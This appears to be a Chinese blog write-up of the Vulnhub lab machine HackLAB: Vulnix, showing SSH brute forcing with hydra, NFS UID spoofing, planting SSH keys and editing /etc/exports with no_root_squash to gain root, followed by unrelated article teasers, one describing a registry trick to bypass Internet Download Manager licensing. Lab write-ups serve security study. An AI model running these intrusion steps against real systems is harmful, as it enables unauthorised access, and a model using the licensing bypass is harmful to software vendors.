Vulnhub靶机:HackLAB_Vulnix
一、介绍
运行环境:Virtualbox(攻击机)和VMware(靶机)
攻击机:kali(192.168.56.101)
靶机:HackLAB: Vulnix(192.168.56.110)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/hacklab-vulnix,48/
二、信息收集
使用nmap主机发现靶机ip:192.168.56.110

使用nmap端口扫描发现靶机开放端口:22、25、79、、110、111、143、512-4、993、995、2049、37724、42131、48234、48665、50505
nmap -A 192.168.56.110 -p 1-65535


22端口:根据nmap的扫描结果发现openssh的版本为5.9 p1,该版本的openssh存在用户名枚举漏洞CVE-2018-15473
下载exp枚举用户名,发现一个user用户

三、漏洞利用
使用john对user用户ssh进行暴力破解,得到密码:letmein
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.56.110 ssh -t 64

登录user用户的ssh,但什么也没有发现

根据nmap的扫描结果,靶机开放了2049端口,nfs服务
使用showmount输出挂载的文件夹
showmount -e 192.168.56.110

挂载/home/vulnix到/nfs文件夹,访问
mount -t nfs 192.168.56.110:/home/vulnix /nfs
cd /nfs

显示权限不够,应该是设置了root_squash
1、no_root_squash:登入 NFS 主机使用分享目录的使用者,如果是 root 的话,那么对于这个分享的目录来说,他就具有 root 的权限。
2、root_squash 是 NFS(Network File System)中的一个安全特性,用于限制远程客户端以 root 用户身份访问共享目录时的权限。当启用
root_squash选项时,NFS 服务器会将客户端以 root 用户身份发起的请求映射为一个特定的用户(通常是nobody或nfsnobody),从而限制客户端以 root 用户身份对共享目录的完全控制。
我们可以伪造文件所有者的UID来欺骗NFS服务器。由于该文件的UID与新用户的UID相同,因此系统会误认为这是文件权限的所有者,这样我们就可以以一个合法的用户身份来读取文件的内容了。
查看vulnix用户的UID和GID

在攻击机建立一个和靶机UID和GID用户一致的vulnix用户,就可以访问挂载的目录了,
groupadd -g 2008 vulnix #创建一个组并指定组的GID
adduser vulnix -uid 2008 -gid 2008 #创建一个用户指定UID和GID

切换vulnix用户,再次访问成功

里面没什么有用的信息
在共享目录下创建.ssh目录mkdir .ssh
在攻击机使用ssh-keygen -t rsa命令生成ssh密钥,将生成的私钥保存到:/nfs/.ssh/id_rsa ,然后使用命令cat /nfs/.ssh/id_rsa.pub > /nfs/.ssh/authorized_keys将 SSH 公钥文件复制重命名为 authorized_keys ,用于 SSH 登陆认证

更改.ssh文件夹权限为700,将私钥复制到本地目录,并赋予600权限

使用id_rsa登录靶机,登录失败
ssh -i id_rsa vulnix@192.168.56.110

查看ssh配置文件:/etc/ssh/sshd_config,发现配置项AuthorizedKeysFile是注释状态,不知道是不是这个原因

后面查看了网上的wp,发现应该是openssh的版本的原因,使用下面的命令登录成功
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa vulnix@192.168.56.110

四、提权
使用命令sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行sudoedit /etc/exports

查看/etc/exports文件

我们可以编辑/etc/exports,在后面添加一条数据
sudoedit /etc/exports
添加:/root *(rw,no_root_squash)
Ctrl x y 保存退出


重启靶机后,使用showmount查看靶机共享文件

挂载/root文件夹
mount -t nfs 192.168.56.110:/root /nfs2

创建.ssh文件夹,将之前生成的公钥文件id_rsa.pub复制重命名为 authorized_keys,放到/root/.ssh文件夹里面,用于 SSH 登陆认证

更改.ssh文件夹的权限为700,更改.ssh/authorized_keys文件的权限为600

使用私钥登录ssh,得到root权限
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa root@192.168.56.110

获取flag

参考链接:https://blog.csdn.net/cjstang/article/details/131580330
相关文章:
Vulnhub靶机:HackLAB_Vulnix
一、介绍 运行环境:Virtualbox(攻击机)和VMware(靶机) 攻击机:kali(192.168.56.101) 靶机:HackLAB: Vulnix(192.168.56.110) 目标:获取靶机root权限和flag 靶机下载地址&#x…...
软件推荐 篇三十七:开源免费无广告的在线音乐免费播放 | MusicFree纯净无广告体验-小众冷门推荐
引言 自从QQ音乐没了杰伦、某云开始收费,除了各种广告弹窗导致电脑卡的要死,打工人就靠这点音乐背景熬夜了,木有办法,得有个开源免费的听歌软件吧,一搜github,软件一大堆,作为一个打工仔&#…...
Hive SQL必刷练习题:留存率问题(*****)
留存率: 首次登录算作当天新增,第二天也登录了算作一日留存。可以理解为,在10月1号登陆了。在10月2号也登陆了,那这个人就可以算是在1号留存 今日留存率 (今日登录且明天也登录的用户数) / 今日登录的总…...
在Linux/Ubuntu/Debian中创建自己的命令快捷方式
虽然图标快捷方式使你移动鼠标双击就打开目标,但是你还是需要先定位到它。而在终端Terminal中你只需要输入一个自定义命令就能一步到位。 要在 Ubuntu 中创建你自己的命令或别名,你可以使用主目录中的“.bashrc”文件。 以下是创建通过 Wine 运行 Photo…...
vue学习笔记——Vue3循环生成表单时,对每一行新生成的数据添加表单验证的方法
应用场景: 在form表单内,动态生成一个数组类型的一组数据,要求对生成的每一组数据内容进行表单验证。例如动态添加人员,并对每个人的人员的信息输入框进行表单验证。 解决思路: 把rules的验证规则循环写在element ui的…...
用C++做一个植物大战僵尸
制作一个完整的“植物大战僵尸”游戏是一个非常大的项目,涉及图形渲染、碰撞检测、用户输入处理、音效、动画、游戏逻辑等多个方面。由于这个话题非常广泛,我可以提供一个简化的版本或者一个框架来启动你的项目。 以下是一个简化的框架,帮助…...
政安晨:【深度学习实践】【使用 TensorFlow 和 Keras 为结构化数据构建和训练神经网络】(三)—— 随机梯度下降
政安晨的个人主页:政安晨 欢迎 👍点赞✍评论⭐收藏 收录专栏: TensorFlow与Keras实战演绎 希望政安晨的博客能够对您有所裨益,如有不足之处,欢迎在评论区提出指正! 这篇文章中,咱们将使用Keras和TensorFlow…...
普通用户无法连接到docker服务
环境 tt:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 22.04.3 LTS Release: 22.04 Codename: jammy问题 tt:~$ sudo apt install docker.io -ytt:~$ docker info Client:Version: 24.0.5Context: d…...
Rancher(v2.6.3)——Rancher部署Nginx(单机版)
Rancher部署Nginx详细说明文档:https://gitee.com/WilliamWangmy/snail-knowledge/blob/master/Rancher/Rancher%E4%BD%BF%E7%94%A8%E6%96%87%E6%A1%A3.md#5rancher%E9%83%A8%E7%BD%B2nacos ps:如果觉得作者写的还行,能够满足您的需求&#x…...
java问题解释
问题1:请解释Java中的异常处理机制,并讨论其在软件开发中的重要性。 回答: Java中的异常处理机制是一种强制性的错误处理机制,它允许程序在运行时检测到异常情况,并采取适当的措施进行处理。异常是在程序执行过程中发…...
TSN协议原理!看完这一篇就够了(1)——时钟同步IEEE802.1AS-2020
▎前言 在许多应用场景中,一个本地局域网中互联的设备集群需要共享同一个时间,以支持各设备的协同工作。例如:音频设备与视频设备的配合播放,雷达与摄像头的数据融合等;这样一个看似简单的域功能,细化成为…...
Intel被喷惨的大小核CPU终于有救,12、13代也沾了光
2021年 Intel 将混合架构引入 PC ,至今也没能让所有用户接受这一改动。 虽然 PE 核心设计 帮助我们更好理解鸡兔同笼问题 带来了额外的多线程性能提升,但对于游戏玩家们可就不那么友好了。 关了吧觉得亏,不关吧又要时不时担心大核偷懒、小核…...
JAVA入门第一步
学习总结: 打开CMD常见的CMD命令 一、打开CMD CMD的概念 CMD是Windows操作系统中的命令提示符(Command Prompt)程序,它是一种命令行工具,可以让用户通过键入命令来与计算机进行交互。CMD是Windows中一个基本的系统组件,它提供了一…...
【scala】使用gradle和scala构建springboot程序
零、版本说明: springboot: 2.7.18 使用log4j2,不使用springboot自带的logback scala版本:2.11 jackson版本:2.16.0 一、依赖: buildscript {dependencies {// using spring-boot-maven-plugin as package toolclasspath("…...
Linux sfdisk命令教程:硬盘分区表编辑器(附实例详解和注意事项)
Linux sfdisk命令介绍 sfdisk是一个用于编辑硬盘分区表的命令。它与fdisk和cfdisk类似,但具有更多的功能。此外,与这两个程序不同,sfdisk可以非交互式地运行。它通常用于从脚本中对驱动器进行分区,或用于分区表的备份和恢复。 L…...
Godot 学习笔记(5):彻底的项目工程化,解决GodotProjectDir is null+工程化范例
文章目录 前言GodotProjectDir is null解决方法解决警告问题根本解决代码问题测试引用其实其它库的输出路径无所谓。 工程化范例环境命名规范Nuget项目结构架构代码ISceneModelIOC服务 测试GD_Extension 通用扩展TestUtils GD_ProgramTestServiceMainSceneModel Godot对应的脚本…...
算法打卡day23|回溯法篇03|Leetcode 39. 组合总和、40.组合总和II、131.分割回文串
算法题 Leetcode 39. 组合总和 题目链接:39. 组合总和 大佬视频讲解:组合总和视频讲解 个人思路 这道组合题主要是有总和的限制,当递归和超过了总和就return,递归时加上回溯去遍历数组。 解法 回溯法 把组合问题抽象为如下树形结构 如上…...
Google研究者们提出了VLOGGER模型
每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…...
Python从入门到精通秘籍十九
一、Python之union 联合类型注释 当谈论Python中的联合类型注释时,通常会提到Union类型。Union是typing模块中定义的一个泛型类,用于表示多个可能的类型。 Union的语法如下: Union[type1, type2, ...]其中type1, type2, … 是要组成联合类…...
解决:您还有0天的时间继续使用internet download manager
通过修改注册表来白嫖的IDM方法 1、新建txt文件复制代码(命名为idm.reg) 2、代码如下 Windows Registry Editor Version 5.00[-HKEY_CURRENT_USER\Software\Classes\CLSID\{7B8E9164-324D-4A2E-A46D-0165FB2000EC}] [-HKEY_CURRENT_USER\Software\Clas…...
大话软工笔记—需求分析概述
需求分析,就是要对需求调研收集到的资料信息逐个地进行拆分、研究,从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要,后续设计的依据主要来自于需求分析的成果,包括: 项目的目的…...
Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)
目录 1.TCP的连接管理机制(1)三次握手①握手过程②对握手过程的理解 (2)四次挥手(3)握手和挥手的触发(4)状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
Ubuntu系统多网卡多相机IP设置方法
目录 1、硬件情况 2、如何设置网卡和相机IP 2.1 万兆网卡连接交换机,交换机再连相机 2.1.1 网卡设置 2.1.2 相机设置 2.3 万兆网卡直连相机 1、硬件情况 2个网卡n个相机 电脑系统信息,系统版本:Ubuntu22.04.5 LTS;内核版本…...
VisualXML全新升级 | 新增数据库编辑功能
VisualXML是一个功能强大的网络总线设计工具,专注于简化汽车电子系统中复杂的网络数据设计操作。它支持多种主流总线网络格式的数据编辑(如DBC、LDF、ARXML、HEX等),并能够基于Excel表格的方式生成和转换多种数据库文件。由此&…...
五子棋测试用例
一.项目背景 1.1 项目简介 传统棋类文化的推广 五子棋是一种古老的棋类游戏,有着深厚的文化底蕴。通过将五子棋制作成网页游戏,可以让更多的人了解和接触到这一传统棋类文化。无论是国内还是国外的玩家,都可以通过网页五子棋感受到东方棋类…...
Qt Quick Controls模块功能及架构
Qt Quick Controls是Qt Quick的一个附加模块,提供了一套用于构建完整用户界面的UI控件。在Qt 6.0中,这个模块经历了重大重构和改进。 一、主要功能和特点 1. 架构重构 完全重写了底层架构,与Qt Quick更紧密集成 移除了对Qt Widgets的依赖&…...
